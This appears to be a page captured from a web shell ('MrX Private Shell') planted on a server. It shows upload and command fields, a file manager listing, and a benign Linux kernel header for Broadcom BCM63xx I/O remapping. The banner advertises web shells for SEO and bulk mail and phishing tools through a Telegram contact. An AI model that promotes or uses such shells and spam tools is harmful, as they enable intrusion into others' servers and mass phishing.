__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
/* SPDX-License-Identifier: GPL-2.0 */
#ifndef BCM63XX_IOREMAP_H_
#define BCM63XX_IOREMAP_H_

#include <bcm63xx_cpu.h>

static inline int is_bcm63xx_internal_registers(phys_addr_t offset)
{
	switch (bcm63xx_get_cpu_id()) {
	case BCM3368_CPU_ID:
		if (offset >= 0xfff80000)
			return 1;
		break;
	case BCM6338_CPU_ID:
	case BCM6345_CPU_ID:
	case BCM6348_CPU_ID:
	case BCM6358_CPU_ID:
		if (offset >= 0xfff00000)
			return 1;
		break;
	case BCM6328_CPU_ID:
	case BCM6362_CPU_ID:
	case BCM6368_CPU_ID:
		if (offset >= 0xb0000000 && offset < 0xb1000000)
			return 1;
		break;
	}
	return 0;
}

static inline void __iomem *plat_ioremap(phys_addr_t offset, unsigned long size,
					 unsigned long flags)
{
	if (is_bcm63xx_internal_registers(offset))
		return (void __iomem *)offset;
	return NULL;
}

static inline int plat_iounmap(const volatile void __iomem *addr)
{
	return is_bcm63xx_internal_registers((unsigned long)addr);
}

#endif /* BCM63XX_IOREMAP_H_ */

Filemanager

Name Type Size Permission Actions
bcm63xx_board.h File 246 B 0644
bcm63xx_cpu.h File 38.07 KB 0644
bcm63xx_cs.h File 399 B 0644
bcm63xx_dev_enet.h File 2.55 KB 0644
bcm63xx_dev_flash.h File 260 B 0644
bcm63xx_dev_hsspi.h File 190 B 0644
bcm63xx_dev_pci.h File 159 B 0644
bcm63xx_dev_pcmcia.h File 277 B 0644
bcm63xx_dev_spi.h File 239 B 0644
bcm63xx_dev_uart.h File 174 B 0644
bcm63xx_dev_usb_usbd.h File 428 B 0644
bcm63xx_gpio.h File 638 B 0644
bcm63xx_io.h File 4.21 KB 0644
bcm63xx_irq.h File 379 B 0644
bcm63xx_iudma.h File 1004 B 0644
bcm63xx_nvram.h File 916 B 0644
bcm63xx_regs.h File 49.68 KB 0644
bcm63xx_reset.h File 448 B 0644
bcm63xx_timer.h File 446 B 0644
board_bcm963xx.h File 1.14 KB 0644
cpu-feature-overrides.h File 1.33 KB 0644
ioremap.h File 956 B 0644
irq.h File 162 B 0644
spaces.h File 509 B 0644
Filemanager